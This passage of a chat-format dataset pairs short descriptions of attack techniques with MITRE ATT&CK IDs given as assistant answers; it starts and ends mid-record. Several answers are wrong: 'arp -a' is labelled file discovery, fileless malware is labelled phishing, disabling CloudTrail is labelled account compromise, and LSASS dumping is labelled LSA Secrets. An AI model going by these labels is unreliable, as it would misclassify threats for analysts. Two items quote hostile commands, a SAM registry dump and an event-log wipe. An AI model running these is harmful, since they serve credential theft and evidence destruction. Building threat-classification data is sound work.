                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the arguments passed to a trusted process, the attacker disguises malicious commands as benign ones."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised VPN server's certificate to generate forged certificates for lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack involved compromising the source code of a library hosted on GitHub, then pushing a malicious commit that was merged and distributed via the project's release channel."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers install a rogue service named 'WinRM' that runs a credential stealer in the background."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber actors leveraged a compromised VPN concentrator to extract tunnel configurations and identify remote access policies."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group bought a zero‑day exploit kit from a private vendor and staged it for deployment against high‑value targets."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a privilege escalation vulnerability to change the power management policy, keeping the compromised server online indefinitely."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware takes periodic snapshots and video from the front‑facing camera on a laptop, saving them to a hidden folder."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the InstallUtil utility to execute a PowerShell script embedded in a .NET assembly, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a fresh Yahoo email address to register malicious domains and host payloads."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a proxy chain by chaining multiple compromised internal hosts, using each as a stepping stone to obscure the traffic path."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool extracts stored credentials from the Local Security Authority Secrets by dumping the memory of lsass.exe."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the JavaScript bundle served by a CDN to include a backdoor that logs all user inputs."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor registers a scheduled task named 'Updater' that triggers a ransomware binary nightly."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries collect WHOIS information to identify the domain registrar and registration dates of the target."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a trusted application to run a VBScript that reads environment variables and writes them to a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool creates a new user account on the victim's endpoint and adds it to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a malicious script that overwrites every sector on the victim's hard drive, making all data unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a compromised application that accesses the device's front-facing camera to capture video during video calls."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using 'ctr' CLI, the attacker creates and starts a container with host PID namespace."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses a covert channel over Bluetooth Low Energy (BLE) advertisements to receive commands from a nearby device."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors took advantage of an out‑of‑date Apache Struts vulnerability to execute malicious code and deploy a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a sustained barrage of TCP SYN packets with forged source IPs, directly flooding the victim's network and preventing legitimate connections."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider sends a calendar invitation with a malicious .ics attachment that, when accepted, runs a PowerShell script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious executable spawns a legitimate Windows process in a suspended state, replaces its memory image with malicious code, and then resumes the process, effectively performing process hollowing."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilizes the Odbcconf utility to create a rogue data source name (DSN) that points to a malicious DLL, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group hijacks a public Wi‑Fi hotspot infrastructure to perform man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers retrieve the IDS/IPS signature database to discover which detection signatures are deployed."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a supply chain attack by inserting malicious code into a software update signed with the vendor's legitimate code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates the system's date and time via the 'date' command to check for time-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hijacks the Virtual Dynamically-linked Shared Object (vDSO) in a Linux process to execute malicious code without using traditional syscalls."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised Instagram account to post a link to a fake login page, targeting followers."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat placed a shortcut in the Start Menu's Programs folder that points to a malicious executable, achieving persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages compromised service account credentials to issue silver tickets, granting them unrestricted access to targeted services."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a malicious firmware image into the TFTP boot process, causing the system to boot with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire a publicly released network scanner script and modify it to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a pre‑recorded voicemail that mimics a senior executive’s voice, instructing the recipient to click a malicious link to approve a wire transfer."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy rootkit modifies the Windows Registry to persistently execute its code on boot and conceal its processes."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actor abuses a misconfigured Docker secret store to steal Docker registry authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential stuffing activity is observed where a script cycles through a CSV file of credentials, attempting authentication on the target's customer portal."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using /proc/self/maps, the adversary identifies loaded credential libraries and dumps their memory regions to retrieve secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit legitimate scheduled tasks to run their payloads without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder tampers with a company's blog, inserting offensive images."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group tampers with the firmware update process of network routers supplied by a reseller, introducing a persistent remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a compromised cloud function runtime to break out and execute code on the underlying server."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Logon Script policy to launch a PowerShell command that downloads additional tools."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL was placed in the System32 directory and given the same name as a Microsoft library, with an invalid digital signature to bypass security checks."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a malicious script that issues a low-level format command to erase the disk's partition table and file system structures."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor was installed by creating a service that points to a benign executable, which then loads the malicious module via an indirect command chain."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised system copies sensitive PDFs to a remote NFS share as a pre‑exfiltration staging step."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs the Windows command `reg save HKLM\\SAM` to dump the SAM database for credential extraction."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a drive‑by attack by embedding malicious JavaScript on a compromised advertisement network."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a compromised AWS IAM user credential to disable CloudTrail logging across all regions."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs man-in-the-middle on a software update feed, injecting malicious code into the downloaded binaries."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a massive amount of ICMP echo requests to a server's Ethernet controller, leading to a kernel panic."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors consult commercial exploit databases to discover zero‑day vulnerabilities affecting the victim’s software stack."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows native API NtCreateThreadEx to create a new thread in a remote process for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the ‘arp -a’ command to view the ARP cache and discover neighboring IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilizes the PubPrn method to register a custom printer driver that triggers the execution of a hidden JavaScript payload during routine printing tasks."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects code into the extra window memory of a legitimate application by calling SetWindowLongPtrW to point to a payload stored in the process's address space."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampered with the firmware supply chain by infecting the update server with a malicious firmware image, leading to compromised devices in the field."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group modifies the NTFS file's alternate data stream to clear the Mark of the Web flag, allowing the malicious script to run without user prompt."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reuses an existing remote service channel, such as a live SMB share session, to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After a successful credential dumping, the group creates new scheduled tasks using the stolen account to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker altered the domain's trust policy to add a compromised domain as a trusted partner, enabling credential misuse."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant stores its payload in an image file using steganography to obscure the data."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a fileless malware variant that resides solely in memory to avoid detection by traditional signature-based antivirus software."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code opens the physical drive and reads raw sectors to recover encrypted data without using the file system."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script abuses the DCOM interface of the Windows Event Log service to exfiltrate logs."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sent malicious payloads to a publicly exposed web application vulnerable to a remote code execution flaw, allowing them to execute commands on the server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs port knocking by sending UDP packets to ports 1000, 2000, and 3000 in sequence, triggering the firewall to allow inbound traffic on a hidden port."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware activates the victim's webcam and streams live video to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script modifies OpenSSL configuration files to set the default RSA key size to 1024 bits, weakening the encryption for all new certificates."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a batch file containing \"wevtutil.exe cl Setup\" to clear the Setup event log after installing persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a staged C2 architecture, first contacting a lightweight beacon before retrieving the full payload."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages improperly configured service registry permissions to replace the service's executable and achieve persistence."
            },
            {
                "role": "assistant",
